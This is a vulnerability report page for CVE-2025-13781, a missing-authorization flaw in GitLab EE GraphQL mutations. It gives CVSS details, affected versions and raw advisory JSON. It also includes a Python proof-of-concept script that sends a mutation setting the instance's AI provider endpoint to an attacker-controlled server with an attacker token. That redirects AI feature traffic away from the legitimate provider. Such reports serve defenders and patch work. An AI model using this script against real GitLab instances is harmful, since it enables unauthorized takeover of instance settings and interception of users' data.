Security Vulnerability Report
中文
CVE-2025-13781 CVSS 6.5 MEDIUM

CVE-2025-13781

Published: 2026-01-09 10:15:46
Last Modified: 2026-01-22 21:13:16

Description

GitLab has remediated an issue in GitLab EE affecting all versions from 18.5 before 18.5.5, 18.6 before 18.6.3, and 18.7 before 18.7.1 that could have allowed an authenticated user to modify instance-wide AI feature provider settings by exploiting missing authorization checks in GraphQL mutations.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:18.7.0:*:*:*:enterprise:*:*:* - VULNERABLE
GitLab EE 18.5 < 18.5.5
GitLab EE 18.6 < 18.6.3
GitLab EE 18.7 < 18.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13781 PoC - GraphQL mutation to modify AI provider settings # Requires authenticated user with low privileges import requests import json TARGET_URL = "https://gitlab.example.com/api/graphql" ACCESS_TOKEN = "your_access_token_here" # Malicious GraphQL mutation to modify AI provider settings mutation = """ mutation { aiConfiguredProviderSettingsUpdate(input: { provider: CUSTOM_AI endpoint: "https://attacker-controlled-server.com/api" token: "attacker_token" enabled: true }) { errors provider { id name } } } """ headers = { "Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json" } response = requests.post( TARGET_URL, headers=headers, json={"query": mutation} ) print(f"Status: {response.status_code}") print(f"Response: {json.dumps(response.json(), indent=2)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13781", "sourceIdentifier": "[email protected]", "published": "2026-01-09T10:15:45.613", "lastModified": "2026-01-22T21:13:15.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 18.5 before 18.5.5, 18.6 before 18.6.3, and 18.7 before 18.7.1 that could have allowed an authenticated user to modify instance-wide AI feature provider settings by exploiting missing authorization checks in GraphQL mutations."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab EE que afecta a todas las versiones desde la 18.5 antes de la 18.5.5, la 18.6 antes de la 18.6.3, y la 18.7 antes de la 18.7.1 que podría haber permitido a un usuario autenticado modificar la configuración del proveedor de características de IA a nivel de instancia explotando la falta de comprobaciones de autorización en las mutaciones de GraphQL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.5", "matchCriteriaId": "722A4635-08B2-4A53-903A-E9D2A670B5FB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.3", "matchCriteriaId": "75013646-70F2-467E-B79E-9301338AB853"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.7.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "9B955F55-086B-4EDF-A9E6-5B9E68600494"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/01/07/patch-release-gitlab-18-7-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/578756", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3400940", "source": "[email protected]", "tags": ["Permissions Required"]}]}}